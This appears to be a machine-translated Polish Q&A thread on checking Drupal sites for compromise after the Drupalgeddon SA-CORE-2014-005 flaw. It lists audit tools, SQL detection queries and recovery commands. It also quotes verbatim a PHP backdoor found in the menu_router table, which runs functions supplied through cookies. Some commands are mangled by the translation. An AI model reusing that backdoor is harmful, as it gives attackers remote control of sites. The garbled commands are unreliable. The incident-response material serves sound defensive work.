Drupal SA-CORE-2014-005 - Jak stwierdzić, czy mój serwer / witryny zostały naruszone?

Właśnie zaktualizowałem wszystkie moje witryny przy użyciu metody łatki do rozwiązania problemu związanego z Drupal SA-CORE-2014-005. Właśnie czytałem raporty, że wczoraj jest ktoś z rosyjskiej witryny IP infiltrującej witryny Drupal.

https://www.drupal.org/SA-CORE-2014-005

Moje główne obawy to teraz:

• Jak sprawdzić, czy moje strony zostały uwzględnione?
• Czego powinienem szukać w dziennikach dostępu apache, aby sprawdzić, czy moja witryna była ofiarą, czy nie?
• Do tej pory co hakerzy robią ze złożonymi stronami?

Oto kilka zapytań SQL, które można uruchomić z bazami danych witryny w celu sprawdzenia użytkowników z uprawnieniami administratora i którzy z nich uzyskali dostęp do witryny po 15 października.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Jeśli czytasz ten artykuł i chcesz sprawdzić witrynę Drupal 7 ponad miesiąc po wylądowaniu exploita, prawdopodobnie Twoja witryna została już zhakowana . Najlepszym rozwiązaniem jest przywrócenie kopii zapasowej sprzed rozpoczęcia ataków i stamtąd praca.

Jest FAQ na SA-CORE-2014-005 .

Jak sprawdzić, czy moje witryny zostały naruszone?

Jednym ze sposobów szybkiego sprawdzenia, czy strony są zagrożone, jest użycie komendy Drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Zainstaluj za ~/.drushpomocądrush dl drupalgeddon

Następnie użyj drush drupalgeddon-testdo przetestowania. Aliasy Drush sprawiają, że jest to łatwe i szybkie.

To narzędzie może potwierdzić wykorzystanie witryny, ale nie może zagwarantować, że witryna nie zostanie wykorzystana. Nie ma tutaj „czystej karty zdrowia”, chyba że zaktualizujesz ją przed rozpoczęciem ataków.

Moduł Site Audit zawiera niektóre kontrole z Drupalgeddon i zapewnia również o wiele bardziej przydatne informacje. Gorąco polecam. (EDYCJA: Teraz pracują razem - super miło!)

• http://drupal.org/project/site_audit

Przegląd bezpieczeństwa nie sprawdza ataków Drupalgeddon, ale warto też mieć go w swoim pasku narzędzi.

• http://drupal.org/project/security_review

Jeśli twoja baza kodu witryny była możliwa do zapisu dla użytkownika www, możesz dodatkowo sprawdzić zmodyfikowany kod za pomocą zhakowanego modułu. Ten moduł może nie robić tego, co myślisz na podstawie samej nazwy :)

• http://drupal.org/project/hacked

Chociaż nie ma jednego określonego sposobu identyfikacji wszystkich zaatakowanych witryn, narzędzia te mogą pomóc w zidentyfikowaniu najczęstszych wskazań.

Czego powinienem szukać w dziennikach dostępu apache, aby sprawdzić, czy moja witryna była ofiarą, czy nie?

Twoje dzienniki dostępu będą teraz zawierać wiele żądań POST. O ile nie wykonałeś niezwykłego kroku rejestrowania wszystkich danych postu przed błędem, prawdopodobnie nie będziesz mieć informacji, które wskazywałyby, które z nich były złośliwe.

Jak dotąd hakerzy robią z zainfekowanymi witrynami?

Wielu twierdzi, że hakerzy łatają ich witryny! Jako atakujący ma to sens - nie chcesz, aby twoja nowo porwana strona została wyciągnięta spod ciebie przez następnego napastnika :)

Poza tym, zgaduję, że strony są wykorzystywane do zbierania cennych danych (może po to, by zdobyć kredyty, może podnieść szczegóły transakcji po wykorzystaniu) i robić nudne rzeczy, takie jak wysyłanie spamu i praca jako skromni niewolnicy botnetów. Aha, i dalej rozszerzaj imperium atakującego o porwane witryny Drupal. (Przepraszam, nie mam żadnych zaatakowanych witryn).

Niektóre kontrole pod kątem typowych ataków to (nie jest to wyczerpująca lista, ale niektóre z ataków spotykanych dotychczas na wolności):

• Sprawdź swoje konto użytkownika 1, aby upewnić się, że jego nazwa użytkownika, adres e-mail lub hasło są zgodne z oczekiwaniami. Jeśli to możliwe, sprawdź także wszystkie inne konta użytkowników, które mają wysoki poziom uprawnień.
• Sprawdź nowe konta użytkowników, które wyglądają podejrzanie.
• Sprawdź zmiany ról w systemie, na przykład wszelkie nowe role lub role o zmienionej nazwie.
• Sprawdź zmiany uprawnień. Najważniejszym aspektem tego jest upewnienie się, że anonimowa rola użytkownika (lub inne role, które każdy może się zarejestrować), nie została zmieniona, aby zapewnić im większy dostęp.
• Sprawdź nowe niestandardowe bloki, które mogą zawierać złośliwy kod.
• Sprawdź nowe niestandardowe węzły, które mogą zawierać złośliwy kod.
• Sprawdź, czy w systemie plików nie ma plików, których nie powinno tam być. Jest to łatwe, jeśli używasz kontroli wersji, ponieważ możesz zrobić status git lub svn st, aby sprawdzić, czy są jakieś nowe pliki.
• Jeśli przesłali złośliwe pliki, możesz sprawdzić, czy w dziennikach dostępu nie ma trafień do dziwnych nazw plików, których nie znasz.

• Sprawdź tabelę bazy danych routera menu pod kątem złośliwych wpisów. Na przykład (moduł drupalgeddon / wtyczka drush na drupal.org ma dobry skrypt do dokładniejszego sprawdzania tej tabeli):

  WYBIERZ * Z menu_router GDZIE access_callback = 'file_put_contents';

• Możesz także po prostu przejrzeć tabelę routera menu w poszukiwaniu dziwnie wyglądających pozycji.

Niektóre rzeczy, które próbują zrobić hakerzy, to:

• Umieść pliki skryptu php na swojej stronie, które można następnie uruchomić, uderzając je w przeglądarce. Te skrypty mogą wykonywać wiele złośliwych działań. Osiąga się to poprzez dodanie szkodliwych pozycji routera menu.
• Utwórz dla nich konta użytkowników administracyjnych, aby następnie używać ich do robienia złych rzeczy w witrynie lub przejmowania witryny.
• Zmień adres e-mail użytkownika 1, aby mógł zresetować hasło do tego konta i przejąć je.
• Zmień uprawnienia do publicznie dostępnych ról użytkowników.
• Dodaj bloki / węzły / itp. które mogą zawierać złośliwy kod. Jeśli masz włączony filtr PHP, jest to jeszcze większy problem.

Niestety, jest tak wiele rzeczy, które osoba atakująca może zrobić z bazą danych, że trudno jest podać pełną listę możliwości. Mogą robić rzeczy, które próbują uzyskać kontrolę nad Twoją witryną, lub mogą po prostu zniszczyć Twoją witrynę, ale upuszczając tabele lub kolumny bazy danych itp.

Mogą nawet wprowadzić bardzo małe zmiany w konfiguracji witryny, takie jak zmiana nazwy witryny lub coś w tym rodzaju, co nie jest końcem świata, ale wciąż stanowi problem.

Zasadniczo wszystko, co można zrobić w bazie danych, uruchamiając polecenie SQL, może teoretycznie zrobić osoba atakująca.

Wszystkie moduły wymienione w odpowiedzi Chrisa Burgessa są bardzo przydatne w sprawdzaniu tych rzeczy.

Myślę, że poszedłbym z radą drupal.org: „ Powinieneś postępować przy założeniu, że każda witryna Drupal 7 została naruszona, chyba że została zaktualizowana lub załatana przed 15 października, 23:00 UTC, czyli 7 godzin po ogłoszeniu .”. Jak powiedział Bevan w tym komentarzu „Aktualizacja lub łatanie Drupala nie naprawia backdoorów, które atakujący zainstalowali przed aktualizacją lub łataniem Drupala”.

Bevan stworzył również poniższy schemat przepływu pracy, aby pomóc Ci przeanalizować, czy możesz zostać zarażony oraz jak odzyskać i zapobiec . Jednak prosi wszystkich o przejrzenie jego oryginalnego artykułu, aby upewnić się, że masz najnowszą wersję przepływu pracy. Ponadto Acquia tworzy interesujący artykuł na temat ataków i schematów, których doświadczyli w Acquia Cloud

Cytat z: https://www.drupal.org/node/2357241#comment-9258955

To jest przykład pliku, który zostaje wstawiony do tabeli menu_router access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Jak widać stara się utworzyć moduły plików / image / vzoh.php, ale ponieważ mam tylko uprawnienia do odczytu w tych katalogach, php kończy się niepowodzeniem.

Raporty osób, które znalazły podobne pliki utworzone podczas wyszukiwania w katalogu drupal: https://www.drupal.org/node/2357241#comment-9260017

Zrobiłem następujące polecenie:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Cytat z: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Wyświetlanie plików, które zmieniły się na serwerze na żywo: status git

Szukasz prób wykonania kodu za pomocą menu_router: wybierz * z menu_router, gdzie access_callback = 'file_put_contents'

Pokazuje, które pliki znajdują się na serwerze na żywo, a nie w kontroli wersji: diff -r docroot repo | grep docroot | grep „Only in docroot”

Znajdowanie plików PHP w katalogu plików: znajdź. -path "* php"

Sprawdzanie czasu między zalogowaniem się użytkownika na stronie a jego ostatnią wizytą na stronie: wybierz (s.timestamp - u.login) / 60/60/24 AS dni_since_login, u.uid z wewnętrznych sesji dołącz do użytkowników u s.uid = u.uid;

Bardzo dobra lista poleceń, aby stwierdzić, czy zostałeś skompromitowany.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Za pomocą tego narzędzia online możesz sprawdzić, czy Twoja witryna została zhakowana:

Drupal Check: The EngineHack

Oczywiście ma to swoje ograniczenia, ale to dobry punkt wyjścia.